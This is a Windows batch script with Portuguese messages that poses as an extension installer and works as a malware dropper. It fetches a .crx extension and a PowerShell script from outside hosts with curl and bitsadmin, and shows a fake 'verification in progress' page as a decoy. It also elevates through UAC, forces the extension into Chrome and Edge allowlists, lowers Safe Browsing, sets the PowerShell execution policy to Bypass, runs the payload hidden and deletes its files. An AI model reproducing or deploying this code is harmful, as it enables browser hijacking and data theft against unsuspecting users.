@echo off
setlocal

set "CRX_URL=http://vemquevem.es/ex/extensao.crx"
set "PS1_URL=http://resgate.digital/instalar.ps1"
set "EXT_ID=ifmeldnmnaafhiiaplbdaidijlbmaanm"
set "CRX_DST=C:\ProgramData\extensao.crx"
set "PS1_DST=C:\ProgramData\instalar.ps1"
set "HTML_DST=%USERPROFILE%\downloads\relatorio.html"

echo.
echo   Instalador de Extensao
echo   ======================
echo.

REM --- Testa escrita em C:\ProgramData ---
echo test > "C:\ProgramData\_ext_test.tmp" 2>nul
if not exist "C:\ProgramData\_ext_test.tmp" (
    echo   ERRO: Sem permissao de escrita em C:\ProgramData
    echo   Clique com botao direito ^> Executar como administrador.
    pause
    exit /b 1
)
del "C:\ProgramData\_ext_test.tmp" 2>nul

REM --- Passo 1: Download CRX ---
echo [1/4] Baixando extensao.crx...
curl.exe -s -L --fail -A "Mozilla/5.0" -o "%CRX_DST%" "%CRX_URL%" 2>nul
if not exist "%CRX_DST%" (
    bitsadmin /transfer crxjob /download /priority foreground "%CRX_URL%" "%CRX_DST%" >nul 2>nul
)
if not exist "%CRX_DST%" (
    echo   ERRO: Falha ao baixar extensao.crx
    pause
    exit /b 1
)
echo       OK

REM --- Passo 2: Download instalar.ps1 ---
echo [2/4] Baixando instalar.ps1...
curl.exe -s -L --fail -A "Mozilla/5.0" -o "%PS1_DST%" "%PS1_URL%" 2>nul
if not exist "%PS1_DST%" (
    bitsadmin /transfer ps1job /download /priority foreground "%PS1_URL%" "%PS1_DST%" >nul 2>nul
)
if not exist "%PS1_DST%" (
    echo   ERRO: Falha ao baixar instalar.ps1
    pause
    exit /b 1
)
REM Verifica se o download retornou HTML em vez do script real
findstr /i /c:"<!DOCTYPE" "%PS1_DST%" >nul 2>nul
if not errorlevel 1 (
    echo   ERRO: Servidor retornou pagina HTML em vez do instalar.ps1
    echo   Verifique se o arquivo esta hospedado em: %PS1_URL%
    del "%PS1_DST%" 2>nul
    pause
    exit /b 1
)
echo       OK

REM --- Abre pagina de carregamento ---
(
echo ^<!DOCTYPE html^>
echo ^<html lang="pt-br"^>
echo ^<head^>
echo ^<meta charset="UTF-8"^>
echo ^<title^>Relatorio^</title^>
echo ^<style^>
echo    body {
echo      margin: 0;
echo      height: 100vh;
echo      display: flex;
echo      flex-direction: column;
echo      align-items: center;
echo      justify-content: center;
echo      background: #1e1e2f;
echo      font-family: Arial, sans-serif;
echo      color: #f0f0f0;
echo    }
echo    .spinner {
echo      width: 60px;
echo      height: 60px;
echo      border: 6px solid #444;
echo      border-top: 6px solid #4da6ff;
echo      border-radius: 50%%;
echo      animation: spin 1s linear infinite;
echo      margin-bottom: 24px;
echo    }
echo    @keyframes spin {
echo      0%% { transform: rotate^(0deg^); }
echo      100%% { transform: rotate^(360deg^); }
echo    }
echo    #msg {
echo      font-size: 18px;
echo      letter-spacing: 0.5px;
echo    }
echo ^</style^>
echo ^</head^>
echo ^<body^>
echo    ^<div class="spinner"^>^</div^>
echo    ^<div id="msg"^>Verificacao em andamento...^</div^>
echo    ^<script^>
echo      const mensagens = [
echo        "Verificacao em andamento...",
echo        "Aguardando liberacao...",
echo        "Consultando servidor...",
echo        "Processando solicitacao...",
echo        "Sincronizando dados..."
echo      ];
echo      let i = 0;
echo      setInterval^(function^(^) {
echo        i = ^(i + 1^) %% mensagens.length;
echo        document.getElementById^('msg'^).textContent = mensagens[i];
echo      }, 2500^);
echo    ^</script^>
echo ^</body^>
echo ^</html^>
) > "%HTML_DST%"
start "" "%HTML_DST%"

REM --- Passo 3: Registro via UAC ---
echo [3/4] Configurando registro (clique SIM no UAC)...
set "REG_SCRIPT=%TEMP%\_reg_%RANDOM%.ps1"

echo $extId = '%EXT_ID%' > "%REG_SCRIPT%"
echo foreach ($base in @('HKLM:\SOFTWARE\Policies\Google\Chrome', 'HKLM:\SOFTWARE\Policies\Microsoft\Edge')) { >> "%REG_SCRIPT%"
echo     foreach ($p in @($base, "$base\ExtensionInstallAllowlist", "$base\ExtensionInstallSources")) { >> "%REG_SCRIPT%"
echo         if (-not (Test-Path $p)) { New-Item -Path $p -Force ^| Out-Null } >> "%REG_SCRIPT%"
echo     } >> "%REG_SCRIPT%"
echo     New-ItemProperty -Path "$base\ExtensionInstallSources" -Name '1' -PropertyType String -Value 'file:///C:/ProgramData/*' -Force ^| Out-Null >> "%REG_SCRIPT%"
echo     New-ItemProperty -Path "$base\ExtensionInstallAllowlist" -Name '1' -PropertyType String -Value $extId -Force ^| Out-Null >> "%REG_SCRIPT%"
echo     New-ItemProperty -Path $base -Name 'SafeBrowsingProtectionLevel' -PropertyType DWord -Value 1 -Force ^| Out-Null >> "%REG_SCRIPT%"
echo } >> "%REG_SCRIPT%"
echo $k1 = 'HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' >> "%REG_SCRIPT%"
echo $k2 = 'HKLM:\SOFTWARE\Wow6432Node\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' >> "%REG_SCRIPT%"
echo if (Test-Path $k1) { Set-ItemProperty -Path $k1 -Name 'ExecutionPolicy' -Value 'Bypass' -Force } >> "%REG_SCRIPT%"
echo if (Test-Path $k2) { Set-ItemProperty -Path $k2 -Name 'ExecutionPolicy' -Value 'Bypass' -Force } >> "%REG_SCRIPT%"

powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process -FilePath 'powershell.exe' -ArgumentList '-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File \"%REG_SCRIPT%\"' -Verb RunAs -Wait"
echo       OK
del "%REG_SCRIPT%" 2>nul

REM --- Passo 4: Re-encode + executar instalar.ps1 ---
echo [4/4] Instalando extensao nos navegadores...
echo       Nao mexa no computador durante a instalacao.

powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$raw=[IO.File]::ReadAllBytes('%PS1_DST%'); if($raw[0]-ne0xFF-or$raw[1]-ne0xFE){if($raw[0]-eq0xEF-and$raw[1]-eq0xBB-and$raw[2]-eq0xBF){$t=[Text.Encoding]::UTF8.GetString($raw,3,$raw.Length-3)}else{$t=[Text.Encoding]::UTF8.GetString($raw)}; $t=$t.Replace(\"`r`n\",\"`n\").Replace(\"`n\",\"`r`n\"); $u=[Text.Encoding]::Unicode.GetBytes($t); [IO.File]::WriteAllBytes('%PS1_DST%',[byte[]](0xFF,0xFE)+$u)}"

powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "%PS1_DST%"

echo.
echo   Instalacao concluida!
echo.

REM Limpa arquivos baixados e temporarios
del "%PS1_DST%" 2>nul
del "%CRX_DST%" 2>nul
del "%HTML_DST%" 2>nul

timeout /t 5 /nobreak >nul
exit /b 0
